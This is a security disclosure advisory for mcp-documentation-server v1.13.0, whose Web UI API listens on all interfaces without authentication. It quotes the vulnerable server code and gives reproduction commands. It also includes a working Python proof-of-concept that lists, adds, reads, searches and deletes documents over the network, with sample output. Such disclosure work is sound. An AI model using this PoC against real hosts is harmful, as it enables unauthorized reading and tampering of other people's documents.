Summary

@andrea9293/mcp-documentation-server: Web UI API binds to all interfaces without authentication by default

Advisory details

Summary

@andrea9293/mcp-documentation-server v1.13.0 documents that a Web UI starts automatically on port 3080. However, the Web UI/API appears to bind to all network interfaces by default (*:3080 / 0.0.0.0:3080) instead of localhost-only, and its document-management API endpoints do not require authentication.

As a result, any network-reachable client on the same LAN, VM network, or container bridge can access the document-admin API without credentials. In my reproduction, I was able to enumerate documents, add a document, read its full content, search across the corpus, and delete the document through the host's LAN IP.

The issue is not that a Web UI exists. The issue is that a local document-management Web UI/API is exposed on all interfaces by default without authentication.

Details

The README documents that the Web UI starts automatically and tells users to open:

http://localhost:3080

It also documents START_WEB_UI=true and WEB_PORT=3080 as the defaults.

The vulnerable behavior appears to come from starting the web server without binding it to localhost explicitly.

In src/server.ts, the Web UI is started unless START_WEB_UI=false:

if (process.env.START_WEB_UI !== 'false') {
    initializeDocumentManager().then(manager => {
        return startWebServer(undefined, manager);
    }).then(() => {
        console.error('[Server] Web UI started (port=' + (process.env.WEB_PORT || '3080') + ')');
    })...
}

In src/web-server.ts, the Express app appears to listen with only the port:

const server = app.listen(PORT, () => {
    console.log(`\n  🌐 MCP Documentation Server - Web UI`);
    console.log(`  ────────────────────────────────────`);
    console.log(`  Local:   http://localhost:${PORT}`);
    console.log(`  Network: http://0.0.0.0:${PORT}\n`);
});

With Express/Node, app.listen(PORT) without a host argument binds to all interfaces. In my reproduction, this resulted in:

LISTEN 0 511 *:3080 *:* users:(("MainThread",pid=1781375,fd=21))

The exposed API includes document-admin operations such as:

GET    /api/documents
GET    /api/documents/:id
POST   /api/documents
POST   /api/search-all
DELETE /api/documents/:id
GET    /api/config

I did not send any Authorization header in the PoC requests, and all tested operations succeeded.

PoC

Tested on v1.13.0.

1. Build from source

cd ~/Desktop
mkdir -p docsrv_repro_from_scratch
cd docsrv_repro_from_scratch

git clone https://github.com/andrea9293/mcp-documentation-server.git
cd mcp-documentation-server

git rev-parse HEAD
npm install --no-audit --no-fund
npm run build

ls -l dist/server.js
node -p "require('./package.json').version"

Expected version:

1.13.0

2. Start the server with default Web UI behavior

Do not set START_WEB_UI=false.

rm -rf /tmp/docsrv_base
mkdir -p /tmp/docsrv_base

MCP_BASE_DIR=/tmp/docsrv_base \
WEB_PORT=3080 \
node dist/server.js \
  </dev/null \
  >/tmp/docsrv_stdout.log \
  2>/tmp/docsrv_stderr.log &

DOCSRV_PID=$!
sleep 5

echo "DOCSRV_PID=$DOCSRV_PID"
ps -p "$DOCSRV_PID" -o pid,stat,cmd

3. Confirm that the Web UI/API binds to all interfaces

ss -ltnp | grep ':3080' || true

Observed:

LISTEN 0 511 *:3080 *:* users:(("MainThread",pid=1781375,fd=21))

This indicates the service is not bound only to 127.0.0.1.

4. Confirm that the API is reachable through the LAN IP

LAN_IP=$(hostname -I | awk '{print $1}')
echo "LAN_IP=$LAN_IP"

curl -sS --max-time 5 "http://$LAN_IP:3080/api/config"
echo

Observed:

LAN_IP=10.0.250.230
{"gemini_available":false,"embedding_model":"Xenova/all-MiniLM-L6-v2"}

No authentication header was sent.

5. Full unauthenticated document-admin PoC

cat > /tmp/docsrv_unauth_poc.py <<'PY'
#!/usr/bin/env python3
import json
import sys
import urllib.request
import urllib.error

HOST = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 3080
BASE = f"http://{HOST}:{PORT}"

def req(method, path, body=None):
    data = json.dumps(body).encode() if body is not None else None
    headers = {"Content-Type": "application/json"} if body is not None else {}
    r = urllib.request.Request(f"{BASE}{path}", data=data, method=method, headers=headers)
    with urllib.request.urlopen(r, timeout=10) as resp:
        raw = resp.read().decode()
        try:
            return resp.status, json.loads(raw or "null")
        except Exception:
            return resp.status, raw

def main():
    print(f"[poc] target = {BASE}")
    print("[poc] no Authorization header is sent")

    status, config = req("GET", "/api/config")
    print(f"[0] config: HTTP {status}, {config}")

    status, docs = req("GET", "/api/documents")
    print(f"[1] list documents: HTTP {status}, count={len(docs) if isinstance(docs, list) else 'unknown'}")

    marker = "ATTACKER_CONTROLLED_DOCUMENT_MARKER_unauth_network_api"
    body = {
        "title": "network-inserted-test-document",
        "content": marker + "\nThis document was inserted through the unauthenticated network API.",
        "metadata": {"source": "unauth-network-poc"}
    }

    status, added = req("POST", "/api/documents", body)
    print(f"[2] add document: HTTP {status}, response={added}")

    doc_id = None
    if isinstance(added, dict):
        doc_id = added.get("id") or added.get("document", {}).get("id")

    if not doc_id:
        status, docs = req("GET", "/api/documents")
        for d in docs:
            if d.get("title") == "network-inserted-test-document":
                doc_id = d.get("id")
                break

    if not doc_id:
        raise RuntimeError("could not locate inserted document id")

    print(f"[2] inserted id={doc_id}")

    status, doc = req("GET", f"/api/documents/{doc_id}")
    content = doc.get("content", "") if isinstance(doc, dict) else str(doc)
    print(f"[3] read document: HTTP {status}, marker_present={marker in content}")

    status, hits = req("POST", "/api/search-all", {
        "query": "ATTACKER_CONTROLLED_DOCUMENT_MARKER network inserted",
        "limit": 5
    })
    print(f"[4] search-all: HTTP {status}, response_prefix={str(hits)[:300]!r}")

    status, deleted = req("DELETE", f"/api/documents/{doc_id}")
    print(f"[5] delete document: HTTP {status}, response={deleted}")

    print("[poc] DONE")

if __name__ == "__main__":
    main()
PY

chmod +x /tmp/docsrv_unauth_poc.py

Run against localhost:

python3 /tmp/docsrv_unauth_poc.py 127.0.0.1 3080

Observed:

[poc] target = http://127.0.0.1:3080
[poc] no Authorization header is sent
[0] config: HTTP 200, {'gemini_available': False, 'embedding_model': 'Xenova/all-MiniLM-L6-v2'}
[1] list documents: HTTP 200, count=0
[2] add document: HTTP 200, response={'id': 'ef13280d7441d5bb', 'title': 'network-inserted-test-document', 'message': 'Document added successfully'}
[2] inserted id=ef13280d7441d5bb
[3] read document: HTTP 200, marker_present=True
[4] search-all: HTTP 200, response_prefix="[{'document_id': 'ef13280d7441d5bb', 'parent_index': 0, 'score': 1, 'content': 'ATTACKER_CONTROLLED_DOCUMENT_MARKER_unauth_network_api\\nThis document was inserted through the unauthenticated network API.'}]"
[5] delete document: HTTP 200, response={'success': True, 'message': 'Document "network-inserted-test-document" deleted'}
[poc] DONE

Run the same PoC against the host's LAN IP:

LAN_IP=$(hostname -I | awk '{print $1}')
python3 /tmp/docsrv_unauth_poc.py "$LAN_IP" 3080

Observed:

[poc] target = http://10.0.250.230:3080
[poc] no Authorization header is sent
[0] config: HTTP 200, {'gemini_available': False, 'embedding_model': 'Xenova/all-MiniLM-L6-v2'}
[1] list documents: HTTP 200, count=0
[2] add document: HTTP 200, response={'id': 'ef13280d7441d5bb', 'title': 'network-inserted-test-document', 'message': 'Document added successfully'}
[

References